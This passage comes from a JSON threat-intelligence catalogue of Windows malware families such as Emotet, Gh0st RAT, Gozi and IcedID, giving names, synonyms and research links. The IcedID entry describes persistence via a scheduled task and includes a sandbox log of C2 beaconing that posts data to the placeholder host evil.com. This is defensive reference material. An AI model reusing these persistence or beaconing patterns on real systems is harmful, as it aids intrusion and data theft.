"https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf",
"https://github.com/eset/malware-ioc/tree/master/turla"
]
},
"uuid": "0a3047b3-6a38-48ff-8f9c-49a5c28e3ada",
"value": "Gazer",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman",
"https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
]
},
"uuid": "ed0586d1-4ff0-4d39-87c7-1414f600d16e",
"value": "gcman",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer",
"https://wapacklabs.blogspot.ch/2017/02/rebranding-ispy-keylogger-gear-informer.html",
"https://www.rekings.com/ispy-customers/"
]
},
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"value": "GearInformer",
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},
{
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],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.geodo",
"https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/",
"http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/",
"https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html",
"https://blog.kryptoslogic.com/malware/2018/08/01/emotet.html",
"https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/",
"https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc",
"https://research.checkpoint.com/emotet-tricky-trojan-git-clones/",
"https://www.cert.pl/en/news/single/analysis-of-emotet-v4/",
"https://www.fidelissecurity.com/threatgeek/2017/07/emotet-takes-wing-spreader",
"https://www.us-cert.gov/ncas/alerts/TA18-201A",
"https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/",
"https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor",
"https://feodotracker.abuse.ch/?filter=version_e",
"https://www.gdata.de/blog/2017/10/30110-emotet-beutet-outlook-aus",
"https://blog.trendmicro.com/trendlabs-security-intelligence/new-emotet-hijacks-windows-api-evades-sandbox-analysis/",
"http://blog.fortinet.com/2017/05/03/deep-analysis-of-new-emotet-variant-part-1"
]
},
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},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail",
"https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
]
},
"uuid": "6f155c95-3090-4730-8d3b-0b246162a83a",
"value": "GetMail",
"description": ""
},
{
"meta": {
"synonyms": [
"getmypos"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass",
"https://securitykitten.github.io/2014/11/26/getmypass-point-of-sale-malware.html",
"https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware",
"https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/",
"https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html"
]
},
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},
{
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},
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"value": "Ghole",
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},
{
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ghostnet",
"http://contagiodump.blogspot.com/2011/07/jul-25-mac-olyx-gh0st-backdoor-in-rar.html",
"https://en.wikipedia.org/wiki/GhostNet"
]
},
"uuid": "e1410684-c695-4c89-ae5f-80ced136afbd",
"value": "Gh0stnet",
"description": ""
},
{
"meta": {
"synonyms": [
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],
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_admin",
"https://www.bleepingcomputer.com/news/security/new-ghostadmin-malware-used-for-data-theft-and-exfiltration/",
"https://www.cylance.com/en_us/blog/threat-spotlight-ghostadmin.html"
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},
"uuid": "6201c337-1599-4ced-be9e-651a624c20be",
"value": "GhostAdmin",
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},
{
"meta": {
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"PCRat",
"Gh0st RAT"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat",
"https://labs.bitdefender.com/2018/02/operation-pzchao-a-possible-return-of-the-iron-tiger-apt/",
"http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf",
"https://www.proofpoint.com/us/threat-insight/post/north-korea-bitten-bitcoin-bug-financially-motivated-campaigns-reveal-new",
"https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf",
"http://www.malware-traffic-analysis.net/2018/01/04/index.html",
"https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/april/decoding-network-data-from-a-gh0st-rat-variant/",
"http://www.hexblog.com/?p=1248",
"https://blog.cylance.com/the-ghost-dragon"
]
},
"uuid": "225fa6cf-dc9c-4b86-873b-cdf1d9dd3738",
"value": "Ghost RAT",
"description": ""
},
{
"meta": {
"synonyms": [
"Wordpress Bruteforcer"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.glasses",
"https://forum.exploit.in/pda/index.php/t102378.html"
]
},
"uuid": "1c27b1a3-ea2a-45d2-a982-12e1509aa4ad",
"value": "Glasses",
"description": ""
},
{
"meta": {
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"https://malpedia.caad.fkie.fraunhofer.de/details/win.glassrat",
"https://community.rsa.com/community/products/netwitness/blog/2015/11/25/detecting-glassrat-using-security-analytics-and-ecat"
]
},
"uuid": "d9e6adf2-4f31-48df-a7ef-cf25d299f68c",
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},
{
"meta": {
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"refs": [
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"https://www.acronis.com/en-us/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet",
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"https://blog.fortinet.com/2017/08/05/analysis-of-new-globeimposter-ransomware-variant",
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]
},
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"value": "GlobeImposter",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.globe_ransom"
]
},
"uuid": "de8e204c-fb65-447e-92bd-200e1c39648c",
"value": "Globe",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.glooxmail",
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]
},
"uuid": "18208674-fe8c-447f-9e1d-9ff9a64b2370",
"value": "GlooxMail",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.glupteba",
"https://www.welivesecurity.com/2011/03/02/tdl4-and-glubteba-piggyback-piggybugs/",
"https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/",
"https://www.welivesecurity.com/2018/03/22/glupteba-no-longer-windigo/",
"http://malwarefor.me/2015-04-13-nuclear-ek-glupteba-and-operation-windigo/",
"http://resources.infosecinstitute.com/tdss4-part-1/"
]
},
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"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.godzilla_loader",
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]
},
"uuid": "9cfdc3ea-c838-4ac5-bff2-57c92ec24b48",
"value": "Godzilla Loader",
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},
{
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]
},
"uuid": "7d89e8dc-4999-47e9-b497-b476e368a8d2",
"value": "Goggles",
"description": ""
},
{
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],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.goldeneye",
"http://www.threatgeek.com/2017/02/spying-on-goldeneye-ransomware.html",
"https://blog.malwarebytes.com/threat-analysis/2016/12/goldeneye-ransomware-the-petyamischa-combo-rebranded/",
"https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/"
]
},
"uuid": "d7196f6a-757b-4124-ae28-f403e5d84fcb",
"value": "GoldenEye",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gold_dragon",
"https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
]
},
"uuid": "2297799c-f93c-4903-b9af-32b6b599912c",
"value": "GoldDragon",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.golroted",
"http://www.vkremez.com/2017/11/lets-learn-dissecting-golroted-trojans.html"
]
},
"uuid": "9cd98c61-0dfa-4af6-b334-65eb43bc8d9d",
"value": "Golroted",
"description": ""
},
{
"meta": {
"synonyms": [
"Fuerboos"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.goodor",
"https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control"
]
},
"uuid": "91b52a5f-420a-484b-8e1e-a91d402db6c5",
"value": "Goodor",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.google_drive_rat",
"https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018b.pdf"
]
},
"uuid": "d1298818-6425-49be-9764-9f119d964efd",
"value": "GoogleDrive RAT",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic",
"https://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/"
]
},
"uuid": "1ebb6107-f97b-45f6-ae81-a671ac437181",
"value": "GooPic Drooper",
"description": ""
},
{
"meta": {
"synonyms": [
"talalpek",
"Xswkit"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gootkit",
"https://www.lexsi.com/securityhub/homer-simpson-brian-krebs-rencontrent-zeus-gootkit/",
"http://www.kernelmode.info/forum/viewtopic.php?f=16&t=3669",
"https://securityintelligence.com/gootkit-developers-dress-it-up-with-web-traffic-proxy/",
"https://www.f5.com/labs/articles/threat-intelligence/tackling-gootkit-s-traps",
"https://securelist.com/blog/research/76433/inside-the-gootkit-cc-server/",
"https://www.us-cert.gov/ncas/alerts/TA16-336A",
"https://securityintelligence.com/gootkit-bobbing-and-weaving-to-avoid-prying-eyes/",
"https://www.youtube.com/watch?v=242Tn0IL2jE",
"http://blog.cert.societegenerale.com/2015/04/analyzing-gootkits-persistence-mechanism.html",
"https://www.s21sec.com/en/blog/2016/05/reverse-engineering-gootkit/",
"http://blog.trendmicro.com/trendlabs-security-intelligence/fake-judicial-spam-leads-to-backdoor-with-fake-certificate-authority/",
"http://www.vkremez.com/2018/04/lets-learn-in-depth-dive-into-gootkit.html",
"https://news.drweb.com/show/?i=4338&lng=en",
"https://www.cyphort.com/angler-ek-leads-to-fileless-gootkit/",
"https://www.youtube.com/watch?v=QgUlPvEE4aw",
"https://forums.juniper.net/t5/Security-Now/New-Gootkit-Banking-Trojan-variant-pushes-the-limits-on-evasive/ba-p/319055"
]
},
"uuid": "329efac7-922e-4d8b-90a9-4a87c3281753",
"value": "GootKit",
"description": "Gootkit is a banking trojan, where large parts are written in javascript (node.JS). It jumps to C/C++-library functions for various tasks."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.govrat",
"https://www.yumpu.com/en/document/view/55930175/govrat-v20"
]
},
"uuid": "9fbb5822-1660-4651-9f57-b6f83a881786",
"value": "GovRAT",
"description": ""
},
{
"meta": {
"synonyms": [
"CRM",
"Gozi CRM",
"Papras",
"Snifula",
"Ursnif"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gozi",
"https://blog.gdatasoftware.com/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007",
"http://researchcenter.paloaltonetworks.com/2017/02/unit42-banking-trojans-ursnif-global-distribution-networks-identified/",
"https://www.secureworks.com/research/gozi",
"https://lokalhost.pl/gozi_tree.txt",
"http://blog.malwaremustdie.org/2013/02/the-infection-of-styx-exploit-kit.html"
]
},
"uuid": "75329c9e-a218-4299-87b2-8f667cd9e40c",
"value": "Gozi",
"description": "2000 Ursnif aka Snifula\r\n2006 Gozi v1.0, Gozi CRM, CRM, Papras\r\n2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*)\r\n-> 2010 Gozi Prinimalka -> Vawtrak/Neverquest\r\n\r\nIn 2006, Gozi v1.0 ('Gozi CRM' aka 'CRM') aka Papras was first observed.\r\nIt was offered as a CaaS, known as 76Service. This first version of Gozi was developed by Nikita Kurmin, and he borrowed code from Ursnif aka Snifula, a spyware developed by Alexey Ivanov around 2000, and some other kits. Gozi v1.0 thus had a formgrabber module and often is classified as Ursnif aka Snifula.\r\n\r\nIn September 2010, the source code of a particular Gozi CRM dll version was leaked, which led to Vawtrak/Neverquest (in combination with Pony) via Gozi Prinimalka (a slightly modified Gozi v1.0) and Gozi v2.0 (aka 'Gozi ISFB' aka 'ISFB' aka Pandemyia). This version came with a webinject module."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gpcode",
"https://www.symantec.com/security_response/writeup.jsp?docid=2007-071711-3132-99&tabid=2",
"http://www.xylibox.com/2011/01/gpcode-ransomware-2010-simple-analysis.html",
"https://de.securelist.com/analysis/59479/erpresser/",
"ftp://ftp.tuwien.ac.at/languages/php/oldselfphp/internet-security/analysen/index-id-200883584.html",
"http://www.zdnet.com/article/whos-behind-the-gpcode-ransomware/"
]
},
"uuid": "127c3d76-6323-4363-93e0-cd06ade0dd52",
"value": "GPCode",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.grabbot",
"http://blog.fortinet.com/2017/03/17/grabbot-is-back-to-nab-your-data"
]
},
"uuid": "0092b005-b032-4e34-9c7e-7dd0e71a85fb",
"value": "GrabBot",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.graftor",
"http://blog.talosintelligence.com/2017/09/graftor-but-i-never-asked-for-this.html"
]
},
"uuid": "94b942e2-cc29-447b-97e2-e496cbf2aadf",
"value": "Graftor",
"description": ""
},
{
"meta": {
"synonyms": [
"FrameworkPOS",
"trinity"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.grateful_pos",
"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
"http://www.vkremez.com/2017/12/lets-learn-reversing-grateful-point-of.html",
"https://community.rsa.com/community/products/netwitness/blog/2017/12/08/gratefulpos-credit-card-stealing-malware-just-in-time-for-the-shopping-season"
]
},
"uuid": "f82f8d2c-695e-461a-bd4f-a7dc58531063",
"value": "Grateful POS",
"description": "POS malware targets systems that run physical point-of-sale device and operates by inspecting the process memory for data that matches the structure of credit card data (Track1 and Track2 data), such as the account number, expiration date, and other information stored on a card\u2019s magnetic stripe. After the cards are first scanned, the personal account number (PAN) and accompanying data sit in the point-of-sale system\u2019s memory unencrypted while the system determines where to send it for authorization. \r\nMasked as the LogMein software, the GratefulPOS malware appears to have emerged during the fall 2017 shopping season with low detection ratio according to some of the earliest detections displayed on VirusTotal. The first sample was upload in November 2017. Additionally, this malware appears to be related to the Framework POS malware, which was linked to some of the high-profile merchant breaches in the past."
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gratem",
"https://blogs.forcepoint.com/security-labs/mm-core-memory-backdoor-returns-bigboss-and-sillygoose"
]
},
"uuid": "5de7bd7f-bbbc-4431-8fd2-a90d25f30fd8",
"value": "Gratem",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gravity_rat",
"https://www.virusbulletin.com/blog/2018/04/gravityrat-malware-takes-your-systems-temperature/",
"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
]
},
"uuid": "1de27925-f94c-462d-acb6-f75822e05ec4",
"value": "Gravity RAT",
"description": ""
},
{
"meta": {
"synonyms": [
"eoehttp"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.greenshaitan",
"https://blog.cylance.com/spear-a-threat-actor-resurfaces"
]
},
"uuid": "9d0ddcb9-b0da-436a-af73-d9307609bd17",
"value": "GreenShaitan",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.grok",
"https://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf"
]
},
"uuid": "5ba66415-b482-44ff-8dfa-809329e0e074",
"value": "GROK",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.gsecdump",
"https://attack.mitre.org/wiki/Technique/T1003"
]
},
"uuid": "8410d208-7450-407d-b56c-e5c1ced19632",
"value": "gsecdump",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.h1n1",
"https://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"
]
},
"uuid": "0ecf5aca-05ef-47fb-b114-9f4177faace3",
"value": "H1N1 Loader",
"description": ""
},
{
"meta": {
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.hacksfase",
"https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf"
]
},
"uuid": "2713a763-33fa-45ce-8552-7dd12b6b8ecc",
"value": "Hacksfase",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.hackspy",
"https://github.com/ratty3697/HackSpy-Trojan-Exploit"
]
},
"uuid": "4b5914fd-25e4-4a20-b6f5-faf4b34f49e9",
"value": "HackSpy",
"description": "Py2Exe based tool as found on github."
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.hamweq",
"https://www.cert.pl/wp-content/uploads/2011/06/201106_hamweq.pdf"
]
},
"uuid": "454fc9f7-b328-451f-806c-68ff5bcd491e",
"value": "Hamweq",
"description": ""
},
{
"meta": {
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"Chanitor"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor",
"http://www.morphick.com/resources/lab-blog/closer-look-hancitor",
"https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear",
"https://blog.minerva-labs.com/new-hancitor-pimp-my-downloader",
"https://researchcenter.paloaltonetworks.com/2016/08/unit42-vb-dropper-and-shellcode-for-hancitor-reveal-new-techniques-behind-uptick/",
"https://researchcenter.paloaltonetworks.com/2016/08/unit42-pythons-and-unicorns-and-hancitoroh-my-decoding-binaries-through-emulation/",
"https://researchcenter.paloaltonetworks.com/2018/02/unit42-compromised-servers-fraud-accounts-recent-hancitor-attacks/",
"https://researchcenter.paloaltonetworks.com/2018/02/unit42-dissecting-hancitors-latest-2018-packer/",
"https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html",
"https://www.zscaler.com/blogs/research/chanitor-downloader-actively-installing-vawtrak"
]
},
"uuid": "4166ab63-24b0-4448-92ea-21c8deef978d",
"value": "Hancitor",
"description": ""
},
{
"meta": {
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"type": [],
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]
},
"uuid": "fa0ffc56-6d82-469e-b624-22882f194ce9",
"value": "HappyLocker (HiddenTear?)",
"description": ""
},
{
"meta": {
"synonyms": [
"Piptea"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.harnig",
"https://www.fireeye.com/blog/threat-research/2011/08/harnig-is-back.html",
"https://www.fireeye.com/blog/threat-research/2011/03/a-retreating-army.html"
]
},
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"value": "Harnig",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.havex_rat",
"https://www.f-secure.com/weblog/archives/00002718.html"
]
},
"uuid": "c04fc02e-f35a-44b6-a9b0-732bf2fc551a",
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},
{
"meta": {
"synonyms": [
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],
"type": [],
"refs": [
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"https://nakedsecurity.sophos.com/2016/02/29/the-hawkeye-attack-how-cybercrooks-target-small-businesses-for-big-money/",
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]
},
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"value": "HawkEye Keylogger",
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},
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},
"uuid": "9af26655-cfba-4e02-bd10-ad1a494e0b5f",
"value": "Helauto",
"description": ""
},
{
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},
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"value": "Helminth",
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},
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},
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},
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},
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},
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},
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},
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"value": "Hermes",
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},
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"value": "Hermes Ransomware",
"description": ""
},
{
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},
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"value": "HerpesBot",
"description": ""
},
{
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]
},
"uuid": "2637315d-d31e-4b64-aa4b-2fc265b0a1a3",
"value": "HesperBot",
"description": ""
},
{
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"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.hiddentear",
"https://github.com/goliate/hidden-tear",
"https://www.tripwire.com/state-of-security/security-data-protection/cyber-security/hidden-tear-project-forbidden-fruit-is-the-sweetest/",
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},
"uuid": "b96be762-56a0-4407-be04-fcba76c1ff29",
"value": "HiddenTear",
"description": ""
},
{
"meta": {
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"refs": [
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"https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html",
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},
"uuid": "84b30881-00bc-4206-8170-51705a8e26b1",
"value": "HideDRV",
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},
{
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},
"uuid": "35fd4bd7-d510-40fd-b89c-8a1b10dbc3f1",
"value": "HiKit",
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},
{
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"refs": [
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"https://www.checkpoint.com/threatcloud-central/downloads/check-point-himan-malware-analysis.pdf"
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},
"uuid": "ecad37b9-555a-4029-b181-6f272eed7154",
"value": "himan",
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},
{
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"refs": [
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]
},
"uuid": "80987ce7-7eb7-4e55-95f8-5c7a9441acab",
"value": "Hi-Zor RAT",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux"
]
},
"uuid": "8e056957-f28b-4b2f-bf58-6b2f7fdd7d62",
"value": "HLUX",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.homefry",
"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
]
},
"uuid": "1fb57e31-b97e-45c3-a922-a49ed6dd966d",
"value": "homefry",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot"
]
},
"uuid": "246f62ee-854a-45e9-8c57-34f1fb72762f",
"value": "HtBot",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat",
"https://www.riskiq.com/blog/labs/htprat/"
]
},
"uuid": "e8d1a1f3-3170-4562-9a18-cadf000e48d0",
"value": "htpRAT",
"description": ""
},
{
"meta": {
"synonyms": [
"HUC Packet Transmit Tool"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.htran",
"https://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/",
"https://www.secureworks.com/research/htran"
]
},
"uuid": "3fb18a77-91ef-4c68-a9a9-fa6bdbea38e8",
"value": "HTran",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.httpbrowser",
"https://www.threatconnect.com/blog/threatconnect-discovers-chinese-apt-activity-in-europe/"
]
},
"uuid": "79f93d04-f6c8-4705-9395-7f575a61e82f",
"value": "HttpBrowser",
"description": ""
},
{
"meta": {
"synonyms": [
"httpdr0pper"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.httpdropper",
"http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html",
"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/dissecting-operation-troy.pdf",
"https://www.sans.org/reading-room/whitepapers/critical/tracing-lineage-darkseoul-36787"
]
},
"uuid": "78336551-c18e-47ac-8bef-1c0c61c0e0a9",
"value": "httpdropper",
"description": ""
},
{
"meta": {
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"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.http_troy",
"https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf",
"http://www.malware-reversing.com/2013/04/5-south-korea-incident-new-malware.html"
]
},
"uuid": "339b3e7c-7a4a-4a1a-94b6-555f15a0b265",
"value": "http_troy",
"description": ""
},
{
"meta": {
"synonyms": [
"houdini"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.hworm",
"http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/?adbsc=social67221546&adbid=790972447373668352&adbpl=tw&adbpr=4487645412"
]
},
"uuid": "94466a80-964f-467e-b4b3-0e1375174464",
"value": "Hworm",
"description": ""
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.hyperbro",
"https://securelist.com/luckymouse-hits-national-data-center/86083/"
]
},
"uuid": "b7f1abd3-870b-42ca-9bd1-5931126c68d5",
"value": "HyperBro",
"description": ""
},
{
"meta": {
"synonyms": [
"BokBot"
],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid",
"https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites",
"https://www.fidelissecurity.com/threatgeek/2017/11/tracking-emotet-payload-icedid",
"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
"https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html",
"http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/",
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},
"uuid": "26f5afaf-0bd7-4741-91ab-917bdd837330",
"value": "IcedID",
"description": "Analysis Observations:\r\n\r\n* It sets up persistence by creating a Scheduled Task with the following characteristics:\r\n * Name: Update\r\n * Trigger: At Log on\r\n * Action: %LocalAppData%\\$Example\\\\waroupada.exe /i\r\n * Conditions: Stop if the computer ceases to be idle.\r\n* The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.\r\n* The filename remained static during analysis.\r\n* The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it\r\n* If \u201c/i\u201d is not passed as an argument, it sets up persistence and waits for reboot.\r\n* If \u201c/I\u201d is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.\r\n* Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:\r\n rundll32.exe kernel32,Sleep -s\r\n* Setup a local listener to proxy traffic on 127.0.0.1:50000\r\n\r\n**[Example Log from C2 Network Communication]**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Connection: close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)>\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11**\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'.\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html\r\n[2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2"
},
{
"meta": {
"synonyms": [],
"type": [],
"refs": [
"https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader",
"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/",
